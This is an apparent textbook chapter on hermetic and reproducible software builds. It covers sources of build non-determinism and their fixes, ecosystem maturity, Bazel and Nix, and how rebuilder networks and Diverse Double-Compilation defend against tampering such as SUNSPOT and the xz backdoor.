- Assess the **reproducibility maturity** of major ecosystems (Go, Rust, Java, Debian, containers) accurately, without overstating any of them.
- Explain **rebuilder networks** and **diverse double-compilation** as reproducibility applied to verification and to the Trusting Trust problem.
- Reason about hermetic/reproducible builds at **fleet scale**: shared build platforms, cache correctness, and the tension between fast dev builds and verifiable release builds.

Two properties, one goal, easily confused

Engineers routinely conflate hermeticity and reproducibility, or treat them as synonyms for "a good build." They are neither. They are orthogonal-ish axes, and being precise about the difference is the whole point of this chapter.

A **hermetic build** is a build with fully declared, controlled inputs and **no access to undeclared resources**. Every input — sources, dependencies, the toolchain itself, build configuration — is explicitly provided and pinned to an exact version or content hash. During the build there is no arbitrary network access, no reading of ambient system state (the wall clock, `$HOME`, installed system packages, the current user), and no invocation of tools that were not declared. Hermeticity is a statement about **inputs and isolation**: the build is sealed off from its environment, so that the only things that can influence the output are things you named.

A **reproducible** (or **deterministic**) build is one where the *same inputs produce bit-for-bit identical outputs* — the same artifact, byte for byte, regardless of *when* it was built, *where* (which machine, which directory), or *who* built it. Reproducibility is a statement about the **output relative to its inputs**: build the same thing twice, on two different continents, six months apart, and the SHA-256 of the result is the same.

Read those two definitions again and notice they are talking about different halves of the function `artifact = build(inputs)`. Hermeticity constrains the *domain* — what may flow into `inputs`. Reproducibility constrains the *mapping* — whether `build` is a genuine function or a relation that returns different bytes for the same argument.

	Hermeticity	Reproducibility
What it constrains	The build's <i>inputs</i> and environment	The build's <i>output</i> relative to inputs
Property	No undeclared inputs; isolated from ambient state	Same inputs → identical bytes
One-line test	"Can anything the build didn't declare influence it?"	"Do two independent builds of the same source match?"
Primary security value	Shrinks the attack surface; enables trustworthy provenance	Enables independent verification of artifacts
Achieved by	Pinning, vendoring/pre-fetch, sandboxing, no-network	Clamping time, stable ordering, path remapping, normalized metadata
Flagship tooling	Bazel, Nix, sandboxed CI	<code>SOURCE_DATE_EPOCH</code> , <code>strip-nondeterminism</code> , Reproducible Builds project
SLSA relevance	Isolation is required for higher build levels (L3+)	Enables the <i>verify-by-rebuild</i> trust model

The relationship: prerequisite, not identity

Hermeticity is **mostly a prerequisite for reproducibility**, and the "mostly" matters.

The prerequisite direction is intuitive: you cannot get deterministic output if undeclared inputs vary between builds. If your build reads the system clock and stamps it into the binary, then two builds five minutes apart differ — and no amount of "same source" fixes that, because the clock was a *hidden input* that wasn't the same. Hermeticity is what lets

you say "the inputs were identical," which is the antecedent that reproducibility's promise is conditioned on. In practice, most non-determinism is caused by exactly this: the build absorbing ambient state (time, paths, hostnames, filesystem ordering) that hermeticity is supposed to exclude or pin.

But the two are still distinct, and you can have one without the other:

- **Hermetic but not reproducible.** A perfectly sealed build can still be non-deterministic from the *inside*. If the compiler embeds `__DATE__`, or the linker orders symbols by a hash-table iteration seeded from a per-process random value, or the archiver writes entries in `readdir()` order, the build is non-deterministic even with zero undeclared inputs. The non-determinism is *internal* to the declared toolchain's behaviour. Hermeticity gets you a controlled clock; it does not stop a tool from reading that clock and stamping it in.
- **Reproducible but not (fully) hermetic.** Go builds are famously reproducible even when run with network access to fetch modules, because the toolchain normalizes away almost every source of non-determinism and the module cache is content-addressed. The reproducibility comes from the *toolchain's discipline*, not from a hermetic sandbox around it. (In practice you still want hermeticity for the *security* reasons below — reproducibility alone doesn't stop a poisoned mid-build fetch.)

So: pursue hermeticity to control what goes in and to make reproducibility *achievable*; pursue reproducibility to make what comes out *verifiable*. They compose, but you have to do both.

```
flowchart LR
    subgraph NH["Non-hermetic build"]
        direction TB
        S1["Source @ HEAD"] --> B1["build step"]
        NET["Network: pip install,  
go get, apt-get, curl"] -.->|"mid-build fetch"| B1
        ENV["Ambient env:  
clock, HOME, PATH,  
installed packages, user"] -.->|"undeclared"| B1
        B1 --> O1["artifact  
(varies run to run)"]
    end
    end
```

```

flowchart LR
    subgraph H["Hermetic build"]
        direction TB
        S2["Source @ pinned commit"] --> SEAL
        DEPS["Deps: vendored /  
pre-fetched, hash-pinned"] --> SEAL
        TC["Toolchain: pinned,  
content-addressed"] --> SEAL
        CFG["Config: declared inputs"] --> SEAL
        SEAL["Sealed sandbox  
no network, read-only inputs,  
clamped clock, fixed paths"] --> O2["artifact  
(deterministic)"]
    end
end

```

Why each matters for security

Hermeticity shrinks the attack surface and underpins provenance.

Chapter 1 called the build the most over-privileged node in the pipeline. A non-hermetic build multiplies that privilege into ingestion paths: every `curl | sh` in a build script, every `go get` that resolves a version at build time, every `apt-get install` against a live mirror is a moment where an attacker who controls (or MITMs, or typosquats) that resource can inject code into a maximally-trusted context. Hermeticity removes those moments by construction — there is no mid-build fetch to poison, because all inputs were resolved and pinned beforehand, and the network is off. This is also why SLSA leans on isolation for its higher build levels (Chapter 3): provenance that says "this artifact was built from these inputs" is only trustworthy if the build *couldn't* have quietly pulled in a seventh input the provenance doesn't mention.

Reproducibility enables verification. This is the payoff that turns a build from a black box into an auditable computation. If a build is reproducible, then *anyone* with the source and the declared inputs can rebuild it and check that the official artifact matches, bit for bit. Divergence is proof of tampering. This is precisely the check that would have caught SUNSPOT: rebuild SolarWinds Orion from its published source and the hash would not match the signed, shipped DLL, because source was swapped inside the build. And it is the check that underpins the Reproducible Builds project's entire trust model — the ability to hold a vendor's binary to account against its own source code, without trusting the vendor's build infrastructure at all.

Sources of non-determinism: the practical enemy

To make a build reproducible you have to hunt down every place where "the same inputs" can still yield different bytes. This is unglamorous, empirical work — the Reproducible Builds project has spent a decade cataloguing these — but the categories are finite and well understood. Here is the taxonomy.

```
flowchart TD
    ND["Sources of  
non-determinism"] --> T["Time"]
    ND --> ORD["Ordering"]
    ND --> LOC["Locale / environment"]
    ND --> PATH["Paths"]
    ND --> RAND["Randomness"]
    ND --> PAR["Parallelism"]
    ND --> TOOL["Toolchain internals"]
    ND --> INP["Unstable inputs"]

    T --> T1["build date embedded  
(__DATE__, __TIME__)"]
    T --> T2["mtimes in archives  
(tar, zip, jar)"]
    ORD --> O1["readdir() filesystem order"]
    ORD --> O2["tar/zip entry order,  
glob expansion order"]
    ORD --> O3["hash-map iteration order"]
    LOC --> L1["LC_ALL sort order,  
date/number formatting"]
    LOC --> L2["TZ timezone,  
hostname, username leak"]
    PATH --> P1["build dir baked in  
(__FILE__, debug info)"]
    RAND --> R1["UUIDs, random seeds,  
ephemeral temp names"]
    PAR --> PP1["job completion order  
affecting output layout"]
    TOOL --> TT1["ASLR-influenced output,  
uninitialized memory, PGO"]
    INP --> I1["network-fetched deps  
that change under you"]
```

Timestamps

The single most common source. Compilers embed build dates via `__DATE__ / __TIME__` macros; archive formats store per-entry modification times; documentation tools stamp "generated on..."; `jar` and `zip` write

the current time into every entry header. Build the same source twice a minute apart and the timestamps differ, so the bytes differ. Two flavours matter: **content timestamps** (a date baked into the artifact's payload) and **metadata timestamps** (mtimes in container/archive headers). Both must be clamped or zeroed.

File ordering

Filesystems do not guarantee an order for `readdir()`; ext4's directory hashing returns entries in an order that depends on hash seed and insertion history, which differs across machines and even across `mkfs` runs. A build that does `tar cf out.tar $(ls dir/)` or globs `*.o` in directory order will lay out its archive differently on different hosts. Link order is a close cousin: if object files are passed to the linker in filesystem order, symbol layout (and thus the binary) varies. **Fix: sort explicitly**, everywhere ordering can leak into output.

Locale and timezone

`LC_ALL / LANG` change collation (so `sort` orders differently), and number/date formatting. `TZ` changes any local-time rendering. A build that sorts strings under the user's locale, or formats a date in local time, is non-deterministic across environments. Hostname and username leak in via tools that record "built by user@host" — GCC's older behaviour, some packaging tools, and many "about" screens.

Paths

The absolute path of the build directory frequently ends up *inside* the artifact: `__FILE__` expands to a full path in assertions and logs; DWARF debug info records the compilation directory and source file paths; `__builtin_FILE()`, Go's older path embedding, and Rust's panic messages all captured build paths. Build in `/home/alice/proj` versus `/build/proj` and the debug sections differ. This is why CI often builds under a fixed path like `/build` — but the real fix is compiler path remapping (below).

Randomness

Anything that generates a UUID, a random seed, a nonce, or an ephemeral temp filename at build time is non-deterministic by design. Some code generators emit a random build ID; some linkers (e.g., via `--`

`build-id` defaults) derive an ID that, depending on the mode, can vary. Temporary file names (`mktemp`) leaking into output — e.g., into a `#line` directive or a generated symbol — are a classic subtle case.

Parallelism

When `make -j` or Bazel runs actions concurrently, the *completion order* is nondeterministic. If any output aggregation depends on completion order (concatenating logs, appending to an index, assigning IDs in the order results arrive), the output varies run to run even on the same machine. The fix is to make aggregation order depend on a *stable key*, not arrival order.

Toolchain internals

Some non-determinism lives inside the compiler or linker. Historically, GCC and Clang could produce output influenced by address-space layout randomization (ASLR) in the compiler process, because a hash table keyed on pointer values iterated in address order; both have been fixed to sort by stable keys. **Profile-guided optimization (PGO)** introduces non-determinism if the profile data itself is collected non-deterministically. **Uninitialized memory** written into output — padding bytes in a struct that get serialized, uninitialized fields in an object file — produces garbage that differs between runs; this is both a reproducibility bug and, often, an information-disclosure bug. The good news is that mainstream toolchains have spent years adding explicit determinism: Clang/LLVm's `-frandom-seed`, deterministic archive mode (`ar D`, on by default in GNU binutils now), and the broad adoption of `SOURCE_DATE_EPOCH` support.

Unstable inputs

Finally, the input that *isn't the same* even though you thought it was: a dependency fetched from the network at build time that changed under you. `latest` tags, unpinned `apt / pip` resolutions, a mutable Git branch, a base image `:latest` — each means "the same build" silently consumed different bytes. This is where reproducibility and hermeticity meet: an unpinned network fetch is *both* a determinism bug *and* the attack surface hermeticity exists to close.

Source	Concrete example	Fix
Embedded build date	<code>__DATE__</code> , "generated on 2026-07-31"	<code>SOURCE_DATE_EPOCH</code> ; strip/normalize
Archive mtimes	<code>tar</code> , <code>zip</code> , <code>.jar</code> entry timestamps	<code>tar --mtime / --clamp-mtime ; strip-nondeterminism</code>
readdir ordering	<code>tar \$(ls)</code> , <code>*.o</code> link order	<code>tar --sort=name</code> ; explicit sort ; stable link order
Hash-map iteration	symbol tables, JSON key order	sort by stable key before emit
Locale/collation	<code>LC_ALL</code> -dependent sort	pin <code>LC_ALL=C</code> , <code>TZ=UTC</code>
Hostname/username	"built by user@host" strings	omit or normalize; <code>-fno-...</code> where available
Build path in output	DWARF comp dir, <code>__FILE__</code>	<code>-ffile-prefix-map</code> , <code>-fdebug-prefix-map</code>
UUIDs / random seeds	generated build IDs, nonces	seed deterministically; <code>-frandom-seed</code>
Parallel completion order	concatenated logs, ID assignment	order by stable key, not arrival
Uninitialized memory	struct padding serialized	zero-init; fix the tool
Unpinned network dep	<code>pip install foo</code> , <code>FROM base:latest</code>	pin by version + hash; vendor/pre-fetch

Achieving reproducibility

The techniques below are the working toolkit of the **Reproducible Builds project** (reproducible-builds.org), a cross-distribution effort that has been systematically making Linux distributions rebuild bit-for-bit since 2013. Its core deliverables are (1) a specification of the problem and its fixes, (2) tooling (`diffoscope` , `strip-nondeterminism` , `reprotest`), and (3) *rebuilder infrastructure* that continuously rebuilds packages and

compares. Describing it accurately: Debian tracks reproducibility per package and has driven a large majority of its archive to reproduce (well over 90% of `bookworm/trixie` source packages in the tested set, though the exact figure moves and depends on the architecture and test environment); it is emphatically *not* "100% of Linux is reproducible," and the last few percent are the hard cases.

SOURCE_DATE_EPOCH

The single most important standardization to come out of the project. `SOURCE_DATE_EPOCH` is an environment variable, defined by the Reproducible Builds specification, holding a Unix timestamp (seconds since the epoch) that build tools should use **in place of the current time** for any timestamp they embed. Set it to, say, the commit date of the source, and a build tomorrow uses the same value as a build today.

```
# Clamp all embedded timestamps to the source commit's date
export SOURCE_DATE_EPOCH=$(git log -1 --pretty=%ct)
```

Broad ecosystem support exists: GCC and Clang honour it for `__DATE__` / `__TIME__`, many doc generators, `rpmbuild`, `dpkg`, Python's `py_compile`, and `tar --clamp-mtime` all read it. Semantically it is a *clamp/override*, not just a default — tools that support it should never write a timestamp newer than `SOURCE_DATE_EPOCH`. It solves the "time" category almost entirely when tools cooperate.

Deterministic archives

Archives (`tar`, `zip`, `ar`, `jar`) are a reproducibility minefield because they store mtimes, owners, and entry order. GNU `tar` can produce a canonical archive:

```
tar --sort=name \
    --mtime="@${SOURCE_DATE_EPOCH}" \
    --owner=0 --group=0 --numeric-owner \
    --pax-option=exthdr.name=%d/PaxHeaders/
%f,delete=atime,delete=ctime \
    -cf output.tar ./tree
```

`--sort=name` fixes ordering; `--mtime` clamps time; `--owner/--group=0 --numeric-owner` strips the building user's identity; the `--pax-option` line removes access/change times that would otherwise leak. For formats that

don't offer these flags, or for the residue tools leave behind, the Reproducible Builds project ships `strip-nondeterminism` — a post-processor that normalizes known non-deterministic fields in `zip/jar`, `ar`, `gzip`, PNG, and other formats (zeroing embedded timestamps, canonicalizing order). Debian runs it automatically as part of `dpkg`'s build flow.

Path remapping

To keep the build directory out of the artifact, modern compilers offer prefix-mapping flags that rewrite paths in output:

```
# Rewrite /home/alice/proj -> /build in debug info and __FILE__
cc -ffile-prefix-map=$(pwd)=/build -c foo.c
# Older, narrower variants:
cc -fdebug-prefix-map=$(pwd)=/build -c foo.c # debug info only
cc -fmacro-prefix-map=$(pwd)=/build -c foo.c # __FILE__ etc. only
```

`-ffile-prefix-map` (GCC 8+, Clang) is the umbrella flag covering both debug info and preprocessor macros. Rust has `--remap-path-prefix`; Go 1.13+ largely avoids embedding absolute build paths and offers `-trimpath` to strip them. Get this right and the "paths" category is closed without having to pin the build directory to a fixed location.

Stable ordering, pinned toolchains, normalized metadata

The remaining reproducibility work is a discipline, applied everywhere output is assembled: sort inputs by a stable key (never rely on `readdir` or glob order); pin `LC_ALL=C` and `TZ=UTC` so locale can't perturb collation; pin the exact toolchain (a different GCC minor version can emit different code — the toolchain is an input, Chapter 1); and normalize or remove embedded metadata (build host, user, non-clamped timestamps, random build IDs). None of these is deep; the difficulty is *coverage* — a single unsorted `tar` or un-mapped path defeats the whole artifact.

Ecosystem maturity — accurately

Reproducibility ranges from "free, by design" to "genuinely hard," and it is important not to overstate any ecosystem.

- **Go** — the strong case. The Go toolchain was designed for reproducibility: no `__DATE__` equivalent, `-trimpath` to strip build paths, a content-addressed, hash-verified module cache (`go.sum`),

and a compiler that is deterministic by default. A Go binary built from a pinned module graph with `-trimpath` reproduces bit-for-bit across machines with the same Go version and target platform. Go even publishes its own toolchain reproducibly. This is the ecosystem to point at when someone says reproducibility is impractical.

- **Rust** — good and improving, with caveats. `rustc` supports `--remap-path-prefix`, Cargo's lockfile pins the dependency graph, and reproducible builds are an active, largely working goal. Caveats: incremental compilation is not designed to be reproducible; some codegen details and the exact LLVM version matter; and you must pin the compiler.
- **Java / JVM** — historically painful, mostly because of `jar` / `zip` timestamps and entry ordering. A `.jar` is a `.zip`, so every entry carries an mtime set to "now." The Maven world addressed this with the **Reproducible Builds for Maven** effort: a `project.build.outputTimestamp` property (which plugins read, analogous to `SOURCE_DATE_EPOCH`) and the `artifact:check-buildplan` / reproducibility plugins. Gradle has a `preserveFileTimestamps=false` / `reproducibleFileOrder=true` option on its archive tasks. It works, but it is opt-in and easy to get wrong.
- **Debian / distributions** — the reference program. Large majority reproducible, continuous rebuilder verification, `diffoscope` to explain any diff. The hard residue: builds that legitimately embed randomness, tools not yet honouring `SOURCE_DATE_EPOCH`, and architecture-specific quirks.
- **Containers** — the genuinely hard case, and worth being blunt about. A Dockerfile `RUN apt-get update && apt-get install -y foo` resolves against a live, mutable mirror, stamps layer creation timestamps, and records file mtimes — non-hermetic and non-reproducible on three axes at once. Making container images reproducible usually means abandoning the imperative Dockerfile model. The credible approaches: **Bazel** `rules_oci` (and the older `rules_docker`) build image layers as declared, ordered, timestamp-controlled tarballs; **ko** (for Go) builds a reproducible image from a Go binary with no Dockerfile at all; **Chainguard's** `apko` and `melange` build images and packages declaratively from a pinned APK repository with clamped timestamps, producing reproducible OCI images; and **Nix** (`dockerTools.buildImage`) constructs images from the Nix store with fixed metadata. The common thread is that reproducible containers

come from *declarative, pinned* image builders, not from normalizing an imperative Dockerfile after the fact.

Ecosystem	Reproducibility maturity	Why / caveat
Go	Strong, by design	<code>-trimpath</code> , content-addressed modules, deterministic compiler
Rust	Good, improving	<code>--remap-path-prefix</code> , Cargo lockfile; incremental builds are not reproducible; pin <code>rustc</code>
Debian / distros	Reference program	>90% of tested packages; continuous rebuilders; <code>diffoscope</code>
Java / JVM	Workable but opt-in	<code>.jar</code> timestamps/order; Maven <code>outputTimestamp</code> , Gradle archive flags
Containers (Dockerfile)	Hard	Live mirrors, layer timestamps, mtimes; imperative and non-hermetic
Containers (apko/ko/rules_oci/nix)	Good	Declarative, pinned, timestamp-controlled builders

Achieving hermeticity

Hermeticity is achieved by controlling inputs and cutting off the environment. There are three layers: resolve-and-pin dependencies *before* the build, sandbox the build so it cannot reach what it didn't declare, and — for the strongest guarantees — adopt a build system whose entire model is hermetic.

Pin, then vendor or pre-fetch

The foundational move (developed in Book 2, Chapters 2 and 8) is to separate **dependency resolution** from **the build**. Resolution — deciding *which* versions satisfy your constraints — is a network-bound, non-

deterministic, attacker-influenceable activity. The build should not do it. Instead:

1. Resolve once, producing a **lockfile** that pins every transitive dependency to an exact version *and content hash* (`go.sum` , `Cargo.lock` , `package-lock.json` with integrity hashes, `poetry.lock` , `requirements.txt` with `--hash`).
2. **Vendor** the dependencies into the repo, or **pre-fetch** them into a content-addressed cache, *before* the hermetic phase.
3. Run the actual build with the **network off**, consuming only the pre-fetched, hash-verified inputs.

Now there is no resolution during the isolated build, and therefore no moment at which a version can be re-resolved to something poisoned, no `latest` that drifts, no mirror to MITM. The lockfile's hashes mean even a compromised mirror can't substitute bytes without detection. This is the concrete mechanism by which hermeticity closes the "poisoned dependency executed during build" threat (SLSA threat D, Chapter 1).

Sandboxing

The second layer enforces "no undeclared inputs" mechanically rather than by convention. A hermetic sandbox gives the build:

- **No network** — egress blocked (network namespace with no route, or a deny-all firewall), so a build script *cannot* fetch anything not already present.
- **Read-only inputs** — declared inputs mounted read-only, so the build can't mutate its own inputs and can't accidentally depend on a writable ambient path.
- **A controlled filesystem** — only declared inputs are visible; `/usr` , `$HOME` , and the broader system are absent or a fixed, pinned image, so the build can't pick up an ambient tool or config.
- **Normalized environment** — a fixed `PATH` , `LC_ALL=C` , `TZ=UTC` , cleared `USER / HOSTNAME` , and `SOURCE_DATE_EPOCH` set, so ambient env can't leak in.

Linux primitives make this cheap: user/mount/network namespaces, `bwrap` (bubblewrap), `seccomp` , and ephemeral containers. Chapter 8 develops ephemeral, isolated build environments in depth; the point here

is that sandboxing is what turns hermeticity from an aspiration ("we try not to fetch things") into an invariant ("the build *cannot* fetch things").

Build systems designed for hermeticity

The strongest guarantees come from build systems whose core model *is* hermeticity, rather than bolting it on. Make, Maven, and npm are the counterexample: all three are **ambient and non-hermetic by default**. Make actions are arbitrary shell that can read anything on the system; Maven resolves and downloads from network repositories during the build and runs plugins with full ambient access; npm's `install` executes lifecycle scripts (`postinstall`) with network and filesystem access as a matter of course. In all three, the build's *actual* inputs are a superset of what's declared, and nobody knows the full set.

Bazel: the action graph

Bazel (Google's open-sourced build system, descended from Blaze) models a build as a **directed acyclic graph of actions**. Every target declares its inputs (`srcs`, `deps`) and outputs explicitly in `BUILD` files; Bazel computes, for each action, the exact set of input files, the command line, the environment, and the declared outputs. It then executes each action in a **sandbox** that exposes *only* the declared inputs — if an action tries to read a file it didn't declare, the sandbox hides it and the build fails, which is how undeclared dependencies get caught rather than silently absorbed. External dependencies are fetched by `WORKSPACE / MODULE.bazel` rules that pin URLs *and* SHA-256 hashes, so third-party inputs are content-addressed too. Toolchains are modelled as hermetic, resolvable dependencies rather than "whatever `cc` is on `PATH`."

The property that falls out of this model is a **stable, content-based cache key** for every action: hash the action's inputs, command, and environment, and you have a key that identifies its output. That is what makes Bazel's **remote caching and remote execution** sound — if the key matches, the cached output is *guaranteed* to be the output this action would produce, because nothing outside the declared inputs can influence it. Hermeticity and cache correctness are the same property viewed from two angles (we return to this under the distributed-systems lens).

```

flowchart TD
    subgraph BZ["Bazel action"]
        IN["Declared inputs  
srcs + deps + toolchain"] --> K["Action key =  
hash(inputs, argv, env)"]
        K --> Q{"Key in  
remote cache?"}
        Q -->|hit| C["Fetch cached output  
(no execution)"]
        Q -->|miss| SB["Execute in sandbox  
(only declared inputs visible,  
no network)"]
        SB --> OUT["Declared outputs"]
        OUT --> UP["Upload to cache  
keyed by action key"]
    end
    end

```

Nix: the derivation

Nix takes hermeticity furthest, treating the entire build as a **pure function** in a purpose-built functional language. The unit is a **derivation**: a complete, serialized description of a build — its exact input derivations (recursively, all the way down to a pinned bootstrap toolchain), the builder executable, arguments, and environment. Nix hashes that description to produce a store path like `/nix/store/<hash>-openssl-3.3.2`. Builds run in a sandbox with no network (except for explicitly declared **fixed-output derivations**, whose *output* hash is pre-declared, so a source fetch is allowed precisely because its result is pinned) and no access to anything outside the declared inputs. Every artifact lives in the **content-addressed** store under a path derived from its inputs, so two builds with the same inputs land at the same path and can be shared. NixOS builds an entire operating system this way, which is why Nix is frequently called the gold standard for hermeticity: there is no `/usr` for a build to accidentally depend on — everything, down to `libc` and the compiler, is an explicit input in the store.

```

flowchart TD
    D[".nix expression"] --> DRV["Derivation  
(inputs, builder, args, env)"]
    DRV --> HP["Store path =  
hash(derivation)"]
    HP --> Q{"Path already  
in /nix/store  
(or binary cache)?"}
    Q -->|yes| USE["Use existing output"]
    Q -->|no| BUILD["Build in sandbox:  
only input store paths,  
no network*"]
    BUILD --> STORE["/nix/store/<hash>-name"]
    Q2["* except fixed-output  
derivations (output hash  
pre-declared)"]

```

The distinction between Bazel and Nix is largely one of scope. Bazel is a *build tool* whose hermeticity is strong within a workspace and whose toolchains you configure. Nix is a *package manager and build system* whose hermeticity extends to the entire dependency closure including the toolchain and libc, at the cost of rewriting your build in Nix's model. Both give you content-addressed, cacheable, verifiable builds; both are a real adoption cost.

The trade-offs

Hermetic and reproducible builds are not free, and pretending otherwise is how adoption efforts die.

- **Engineering effort.** Someone has to vendor dependencies, write `BUILD / .nix` files or wrestle a Dockerfile into `apko`, hunt down every non-deterministic byte with `diffoscope`, and keep it working as the codebase evolves. This is ongoing, not one-time.
- **Ecosystem friction.** Enormous swaths of the software ecosystem *assume* network access at build time — `npm postinstall` scripts that download binaries, `pip` packages that compile against system libraries, Go modules resolved on the fly. Hermeticity fights all of this, and every fight is a small integration project.
- **Slower setup, sometimes slower cold builds.** Pre-fetching and sandboxing add overhead; a cold Bazel or Nix build can be slower than a naive `make`.

Against that, the ROI is substantial and compounding: **verification** (you can hold artifacts to account against source), **trustworthy provenance** (SLSA L3+), **cache correctness** (safe, massive build-time savings via shared caches — often *faster* than non-hermetic builds once warm), and **debuggability** (a reproducible build is a build you can bisect and reason about; "works on my machine" stops being a category of bug). For a single small service the effort may not pay off; for a shared platform serving hundreds of teams (Chapter 10) it is transformational.

Verification via reproducibility: the security payoff

Reproducibility's deepest value is that it makes builds *falsifiable*. A signed binary asserts "a key-holder vouches for this"; a reproducible binary lets you assert "this is what the source actually compiles to," and *anyone* can check it, without trusting the builder.

Rebuilder networks and diverse rebuilds

The mechanism is a **rebuilder network**: independent parties, on independent infrastructure, rebuild the same source with the same declared inputs and publish the hash of what they got. A consumer (or a distribution) collects these attestations and accepts the artifact only if enough independent rebuilders agree on the hash — and, crucially, if that agreed hash matches the officially published artifact.

```
flowchart LR
    SRC["Source @ pinned commit  
+ declared inputs"] --> BA["Rebuilder A  
(org 1, infra 1)"]
    SRC --> BB["Rebuilder B  
(org 2, infra 2)"]
    SRC --> BOFF["Official builder  
(vendor)"]
    BA --> HA["hash A"]
    BB --> HB["hash B"]
    BOFF --> HO["published hash"]
    HA --> CMP["All hashes  
equal?"]
    HB --> CMP
    HO --> CMP
    CMP -->|yes| OK["Verified: artifact = source"]
    CMP -->|no| BAD["Divergence =  
tampering / non-determinism  
→ investigate with diffoscope"]
```


The security property is powerful: to slip a backdoor past this, an attacker must either compromise the *source* (which is watched, reviewed, and public) or simultaneously compromise *enough independent rebuilders on independent infrastructure* to forge a consensus — a far higher bar than compromising a single build server. This is exactly the defence SolarWinds lacked. SUNSPOT tampered with one build environment and produced a validly-signed artifact; signing verified the *key*, not the *computation*. A rebuilder network verifies the computation: rebuild Orion from source, and the divergent hash exposes the injection immediately.

The connection to **build-from-source versus build-from-tarball** is the sharpest lesson of xz-utils. The xz backdoor's activation machinery was *not in the Git repository*. It lived in the release tarball — specifically in a modified `build-to-host.m4` (an autotools macro pulled in during `./configure`) and in binary "test" files that the doctored build script decompressed and executed. Anyone building from the *tarball* got backdoored; anyone building hermetically from the *VCS commit* would not have, because the malicious inputs simply weren't there. A hermetic build pinned to version control — declaring the VCS tree as the source of truth and regenerating autotools output rather than trusting the shipped tarball — excludes exactly the class of input xz used. This is why "reproducible from source in VCS" is a materially stronger claim than "reproducible from the release artifact the maintainer handed you."

Diverse double-compilation and Trusting Trust

Reproducibility also gives us the only known practical defence against the deepest version of the build-trust problem: **Trusting Trust** (Ken Thompson, 1984; Book 1, Chapter 6; Book 7, Chapter 5). Thompson's attack is a compiler that inserts a backdoor when it compiles a target *and* re-inserts the backdoor-insertion logic when it compiles a new version of *itself* — so the malice is present in the binary compiler but nowhere in any source, and recompiling from clean source with the poisoned compiler reproduces the poison. You cannot detect it by reading source, because the source is clean.

David A. Wheeler's **Diverse Double-Compilation (DDC)** defeats it using reproducibility. The idea: compile the compiler's source with the (possibly-poisoned) compiler *and*, independently, with a *different, diverse* compiler (a different implementation, on a different platform). Then use

each resulting compiler to compile the compiler source *again*. If the compiler is deterministic and honest, the two second-stage binaries must be **bit-for-bit identical** — they were produced from the same source by two functionally-equivalent-but-differently-implemented compilers. If they differ, at least one compiler is lying. DDC is reproducibility applied to the toolchain itself: it turns "is my compiler a faithful implementation of its source?" into a hash comparison, and it works precisely *because* an honest, deterministic compilation is reproducible. Without reproducibility, DDC has nothing to compare. (Wheeler demonstrated it practically against a real compiler; it is the reason the Trusting Trust attack is considered detectable in principle rather than an unbreakable dead end.)

Distributed-systems lens

At fleet scale, hermeticity and reproducibility stop being per-project hygiene and become platform properties — and the economics flip from "cost" to "leverage."

A shared hermetic build platform makes builds consistent, cacheable, and verifiable for everyone. When every team builds through the same Bazel remote-execution cluster, or the same Nix-based platform, hermeticity is enforced centrally: no tenant's build can reach an undeclared resource, every artifact carries a content-addressed identity, and the platform can attach trustworthy provenance because it *knows* the complete input set (there is no seventh, undeclared input). This is the paved road of Chapter 10 — hermeticity is baked into the platform so that every tenant gets it whether or not they understand it, which is the only way a property this demanding reaches broad adoption.

Reproducibility and cache correctness are the same property. A remote build cache is safe to share across teams *only if* identical inputs deterministically yield identical outputs — that is literally the reproducibility guarantee. If a build is non-deterministic, a cache hit can return an output that differs from what the requesting build would have produced, silently corrupting results. Bazel's action key is a bet on determinism: "same inputs → same output → safe to serve from cache." So the very property that lets you verify artifacts against source is the property that lets a thousand-engineer org share one warm cache and cut build times by orders of magnitude. Reproducibility pays for itself twice — once in security, once in speed.

But the shared cache is now a supply-chain target. A poisoned entry in a remote build cache is a build compromise with fleet-wide blast radius: inject one malicious output under a legitimate action key and every subsequent cache hit ships the malicious artifact, with the provenance of a clean build. This is Chapter 7's territory (cache poisoning). The defences follow directly from this chapter's model: the cache must be **integrity-protected** (authenticated writes, content-addressed storage so an entry's key is a hash of its *bytes*, signed cache entries), and — the belt-and-braces answer — reproducibility itself lets you *audit* the cache by rebuilding entries and comparing. A content-addressed, reproducible world is one where a poisoned cache entry is detectable rather than invisible.

The central tension is dev speed versus release verifiability. Fully hermetic, sandboxed, network-off builds are slower to iterate on than a warm incremental `go build` or a `docker build` with a live cache, and developers will route around friction. The pragmatic resolution most mature platforms reach is a **two-track** model: fast, non-hermetic, ambient builds for inner-loop development (where nobody is going to sign and ship the output), and hermetic, reproducible, provenance-emitting builds for anything that crosses the release boundary. The release track is where SLSA levels, signed provenance (Chapter 3, Book 5), and rebuilder verification apply; the dev track optimizes for iteration speed. The platform's job is to make the release track the *default* for anything that gets published — so that the artifact a customer eventually runs was built hermetically and can be reproduced, even if the engineer's laptop build was not.

Key takeaways

- **Hermeticity and reproducibility are distinct properties.**

Hermeticity controls *inputs* (fully declared, pinned, isolated from ambient state); reproducibility constrains *output* (same inputs → bit-for-bit identical bytes). Hermeticity is mostly a *prerequisite* for reproducibility, but you can have either without the other, and you need both.

- **Security value split:** hermeticity *shrinks the attack surface* (no mid-build fetch to poison, no ambient injection) and *enables trustworthy provenance* (SLSA L3+ needs isolation); reproducibility *enables*

verification — independent rebuild-and-compare that catches the SolarWinds/xz class of build tampering.

- **Non-determinism has a finite, well-catalogued taxonomy:** timestamps, ordering, locale, paths, randomness, parallelism, toolchain internals, and unstable inputs. Each has a known fix; the difficulty is *total coverage* — one un-sorted `tar` defeats the artifact.
- **The real toolkit is real:** `SOURCE_DATE_EPOCH` to clamp time, `strip-nondeterminism` and deterministic `tar` for archives, `-ffile-prefix-map` for paths, pinned toolchains, `LC_ALL=C`. The Reproducible Builds project and Debian's rebuilders are the reference implementation.
- **Ecosystems vary — don't overstate any.** Go is reproducible essentially by design; Rust is good with caveats (not incremental builds); Java needs opt-in archive normalization; containers are hard and need declarative builders (`apko` / `melange` , `ko` , `rules_oci` , Nix), not normalized Dockerfiles.
- **Bazel and Nix are hermetic by construction:** Bazel's sandboxed action graph and Nix's content-addressed derivations both yield stable, content-based cache keys — the same property that makes remote caching *correct* also makes artifacts *verifiable*. Make/Maven/npm are ambient and non-hermetic by default.
- **Reproducibility is the verification substrate:** rebuilder networks turn "trust the vendor's build" into "compare independent hashes," and Diverse Double-Compilation applies it to the Trusting Trust problem. Building hermetically *from VCS* (not the release tarball) is what would have excluded the xz backdoor.
- **At fleet scale**, hermeticity is a platform property (the paved road), reproducibility *is* cache correctness, the shared cache becomes a supply-chain target that must be integrity-protected, and the durable design is a two-track split: fast ambient dev builds, hermetic reproducible release builds.

Further reading

